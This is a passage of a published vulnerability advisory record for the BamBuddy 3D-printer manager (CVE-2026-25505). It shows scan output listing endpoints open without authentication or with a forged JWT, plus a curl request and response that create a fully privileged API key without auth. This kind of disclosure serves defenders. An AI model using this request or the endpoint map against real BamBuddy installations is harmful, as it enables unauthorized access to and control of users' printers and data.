/printers/: JWT WORKS\n  /printers/usb-cameras: JWT WORKS\n  /printers/1: JWT WORKS\n  /printers/1/status: JWT WORKS\n  /printers/1/current-print-user: JWT WORKS\n  /printers/1/cover: JWT WORKS\n  /printers/1/files: JWT WORKS\n  /printers/1/storage: JWT WORKS\n  /printers/1/logging: JWT WORKS\n  /printers/1/slot-presets: JWT WORKS\n  /printers/1/slot-presets/1/1: JWT WORKS\n  /printers/1/print/objects: JWT WORKS\n  /printers/1/runtime-debug: JWT WORKS\n  /printers/1/camera/status: NO AUTH REQUIRED\n  /printers/1/camera/test: ERROR / ERROR\n  /printers/1/camera/plate-detection/status: NO AUTH REQUIRED\n  /printers/1/camera/plate-detection/references: NO AUTH REQUIRED\n  /printers/1/kprofiles/: ERROR / ERROR\n  /printers/1/kprofiles/notes: NO AUTH REQUIRED\n\n[ARCHIVES]\n  /archives/: NO AUTH REQUIRED\n  /archives/search: 422 / 422\n  /archives/compare: 422 / 422\n  /archives/analysis/failures: NO AUTH REQUIRED\n  /archives/stats: NO AUTH REQUIRED\n  /archives/tags: NO AUTH REQUIRED\n  /archives/1: NO AUTH REQUIRED\n  /archives/1/similar: NO AUTH REQUIRED\n  /archives/1/duplicates: NO AUTH REQUIRED\n  /archives/1/capabilities: NO AUTH REQUIRED\n  /archives/1/gcode: NO AUTH REQUIRED\n  /archives/1/plates: NO AUTH REQUIRED\n  /archives/1/filament-requirements: NO AUTH REQUIRED\n  /archives/1/project-page: NO AUTH REQUIRED\n  /archives/1/source: 404 / 404\n\n[FILAMENTS]\n  /filaments/: NO AUTH REQUIRED\n  /filaments/1: NO AUTH REQUIRED\n  /filaments/by-type/pla: NO AUTH REQUIRED\n\n[CLOUD]\n  /cloud/status: NO AUTH REQUIRED\n  /cloud/settings: 401 / 401\n  /cloud/settings/1: 401 / 401\n  /cloud/devices: 401 / 401\n  /cloud/firmware-updates: 401 / 401\n  /cloud/fields: NO AUTH REQUIRED\n  /cloud/fields/print: NO AUTH REQUIRED\n\n[QUEUE]\n  /queue/: NO AUTH REQUIRED\n  /queue/1: 404 / 404\n\n[NOTIFICATIONS]\n  /notifications/: NO AUTH REQUIRED\n  /notifications/logs: NO AUTH REQUIRED\n  /notifications/logs/stats: NO AUTH REQUIRED\n  /notifications/1: 404 / 404\n\n[NOTIFICATION_TEMPLATES]\n  /notification-templates: NO AUTH REQUIRED\n  /notification-templates/variables: NO AUTH REQUIRED\n  /notification-templates/1: NO AUTH REQUIRED\n\n[UPDATES]\n  /updates/version: NO AUTH REQUIRED\n  /updates/check: NO AUTH REQUIRED\n  /updates/status: NO AUTH REQUIRED\n\n[MAINTENANCE]\n  /maintenance/types: NO AUTH REQUIRED\n  /maintenance/overview: NO AUTH REQUIRED\n  /maintenance/summary: NO AUTH REQUIRED\n  /maintenance/printers/1: NO AUTH REQUIRED\n  /maintenance/items/1/history: NO AUTH REQUIRED\n\n[EXTERNAL_LINKS]\n  /external-links/: NO AUTH REQUIRED\n  /external-links/1: 404 / 404\n\n[PROJECTS]\n  /projects: NO AUTH REQUIRED\n  /projects/templates: NO AUTH REQUIRED\n  /projects/1: NO AUTH REQUIRED\n  /projects/1/archives: NO AUTH REQUIRED\n  /projects/1/queue: NO AUTH REQUIRED\n  /projects/1/bom: NO AUTH REQUIRED\n  /projects/1/timeline: NO AUTH REQUIRED\n\n[LIBRARY]\n  /library/folders: NO AUTH REQUIRED\n  /library/folders/by-archive/1: NO AUTH REQUIRED\n  /library/folders/by-project/1: NO AUTH REQUIRED\n  /library/files: NO AUTH REQUIRED\n  /library/stats: NO AUTH REQUIRED\n  /library/folders/1: NO AUTH REQUIRED\n  /library/files/1: 404 / 404\n  /library/files/1/plates: 404 / 404\n  /library/files/1/gcode: 404 / 404\n  /library/files/1/filament-requirements: 404 / 404\n\n[API_KEYS]\n  /api-keys/: NO AUTH REQUIRED\n  /api-keys/1: NO AUTH REQUIRED\n\n[WEBHOOK]\n  /webhook/printer/1/status: 401 / 401\n  /webhook/queue: 401 / 401\n\n[AMS_HISTORY]\n  /ams-history/1/1: NO AUTH REQUIRED\n\n[SUPPORT]\n  /support/debug-logging: NO AUTH REQUIRED\n  /support/logs: NO AUTH REQUIRED\n\n[DISCOVERY]\n  /discovery/info: NO AUTH REQUIRED\n  /discovery/status: NO AUTH REQUIRED\n  /discovery/printers: NO AUTH REQUIRED\n  /discovery/scan/status: NO AUTH REQUIRED\n\n[PENDING_UPLOADS]\n  /pending-uploads/: NO AUTH REQUIRED\n  /pending-uploads/count: NO AUTH REQUIRED\n  /pending-uploads/1: 404 / 404\n\n[FIRMWARE]\n  /firmware/updates: NO AUTH REQUIRED\n  /firmware/updates/1: NO AUTH REQUIRED\n  /firmware/latest: NO AUTH REQUIRED\n\n[GITHUB_BACKUP]\n  /github-backup/config: NO AUTH REQUIRED\n  /github-backup/status: NO AUTH REQUIRED\n  /github-backup/logs: NO AUTH REQUIRED\n\n[METRICS]\n  /metrics: 401 / 401\n\n======================================================================\n\n[SUMMARY]\n\nEndpoints accessible WITHOUT authentication (77):\n  - /system/info\n  - /auth/status\n  - /settings\n  - /settings/check-ffmpeg\n  - /settings/spoolman\n  - /settings/backup\n  - /settings/virtual-printer/models\n  - /settings/virtual-printer\n  - /settings/mqtt/status\n  - /printers/1/camera/status\n  - /printers/1/camera/plate-detection/status\n  - /printers/1/camera/plate-detection/references\n  - /printers/1/kprofiles/notes\n  - /archives/\n  - /archives/analysis/failures\n  - /archives/stats\n  - /archives/tags\n  - /archives/1\n  - /archives/1/similar\n  - /archives/1/duplicates\n  - /archives/1/capabilities\n  - /archives/1/gcode\n  - /archives/1/plates\n  - /archives/1/filament-requirements\n  - /archives/1/project-page\n  - /filaments/\n  - /filaments/1\n  - /filaments/by-type/pla\n  - /cloud/status\n  - /cloud/fields\n  - /cloud/fields/print\n  - /queue/\n  - /notifications/\n  - /notifications/logs\n  - /notifications/logs/stats\n  - /notification-templates\n  - /notification-templates/variables\n  - /notification-templates/1\n  - /updates/version\n  - /updates/check\n  - /updates/status\n  - /maintenance/types\n  - /maintenance/overview\n  - /maintenance/summary\n  - /maintenance/printers/1\n  - /maintenance/items/1/history\n  - /external-links/\n  - /projects\n  - /projects/templates\n  - /projects/1\n  - /projects/1/archives\n  - /projects/1/queue\n  - /projects/1/bom\n  - /projects/1/timeline\n  - /library/folders\n  - /library/folders/by-archive/1\n  - /library/folders/by-project/1\n  - /library/files\n  - /library/stats\n  - /library/folders/1\n  - /api-keys/\n  - /api-keys/1\n  - /ams-history/1/1\n  - /support/debug-logging\n  - /support/logs\n  - /discovery/info\n  - /discovery/status\n  - /discovery/printers\n  - /discovery/scan/status\n  - /pending-uploads/\n  - /pending-uploads/count\n  - /firmware/updates\n  - /firmware/updates/1\n  - /firmware/latest\n  - /github-backup/config\n  - /github-backup/status\n  - /github-backup/logs\n\nEndpoints accessible with FORGED JWT only (20):\n  - /auth/me\n  - /users\n  - /users/1\n  - /users/1/items-count\n  - /groups\n  - /groups/permissions\n  - /groups/1\n  - /printers/\n  - /printers/usb-cameras\n  - /printers/1\n  - /printers/1/status\n  - /printers/1/current-print-user\n  - /printers/1/cover\n  - /printers/1/files\n  - /printers/1/storage\n  - /printers/1/logging\n  - /printers/1/slot-presets\n  - /printers/1/slot-presets/1/1\n  - /printers/1/print/objects\n  - /printers/1/runtime-debug\n\nEndpoints that rejected both (20):\n  - /printers/1/camera/test (no_auth: ERROR, jwt: ERROR)\n  - /printers/1/kprofiles/ (no_auth: ERROR, jwt: ERROR)\n  - /archives/search (no_auth: 422, jwt: 422)\n  - /archives/compare (no_auth: 422, jwt: 422)\n  - /archives/1/source (no_auth: 404, jwt: 404)\n  - /cloud/settings (no_auth: 401, jwt: 401)\n  - /cloud/settings/1 (no_auth: 401, jwt: 401)\n  - /cloud/devices (no_auth: 401, jwt: 401)\n  - /cloud/firmware-updates (no_auth: 401, jwt: 401)\n  - /queue/1 (no_auth: 404, jwt: 404)\n  - /notifications/1 (no_auth: 404, jwt: 404)\n  - /external-links/1 (no_auth: 404, jwt: 404)\n  - /library/files/1 (no_auth: 404, jwt: 404)\n  - /library/files/1/plates (no_auth: 404, jwt: 404)\n  - /library/files/1/gcode (no_auth: 404, jwt: 404)\n  - /library/files/1/filament-requirements (no_auth: 404, jwt: 404)\n  - /webhook/printer/1/status (no_auth: 401, jwt: 401)\n  - /webhook/queue (no_auth: 401, jwt: 401)\n  - /pending-uploads/1 (no_auth: 404, jwt: 404)\n  - /metrics (no_auth: 401, jwt: 401)\n```\n\n</details>\n\nWhile this script only tests the GET endpoints, these vulnerabilities are not exclusive to GET endpoints. The GET endpoints were easiest to script since they generally don't require many parameters, but other methods still appear vulnerable. I manually tested `POST /api/v1/api-keys/` and was able to create a new API key with all permissions without auth:\n```bash\ncurl 'http://10.0.0.4:8000/api/v1/api-keys/' -X POST -H 'Content-Type: application/json' --data-raw '{\"name\":\"new key\",\"can_queue\":true,\"can_control_printer\":true,\"can_read_status\":true}'\n```\nyields\n```json\n{\"id\":7,\"name\":\"new key\",\"key_prefix\":\"bb_QW2su...\",\"can_queue\":true,\"can_control_printer\":true,\"can_read_status\":true,\"printer_ids\":null,\"enabled\":true,\"last_used\":null,\"created_at\":\"2026-02-01T23:14:15\",\"expires_at\":null,\"key\":\"bb_QW2suZVIHiUbadSyyAMrnmf0zFhDG5e9BSVBvb4ZN-w\"}\n```\n\n### Impact\nBamBuddy is vulnerable to unauthorized access and control",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "bambuddy"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.1.7"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/maziggy/bambuddy/security/advisories/GHSA-gc24-px2r-5qmf"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-25505"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/maziggy/bambuddy/pull/225"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/maziggy/bambuddy/commit/a82f9278d2d587b7042a0858aab79fd8b6e3add9"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/maziggy/bambuddy/commit/c31f2968889c855f1ffacb700c2c9970deb2a6fb"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/maziggy/bambuddy"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/maziggy/bambuddy/blob/a9bb8ed8239602bf08a9914f85a09eeb2bf13d15/backend/app/core/auth.py#L28"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/maziggy/bambuddy/blob/main/CHANGELOG.md"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/maziggy/bambuddy/releases/tag/v0.1.7"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-306", "CWE-321" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-02T21:21:14Z",
    "nvd_published_at" : "2026-02-04T20:16:07Z"
  }
}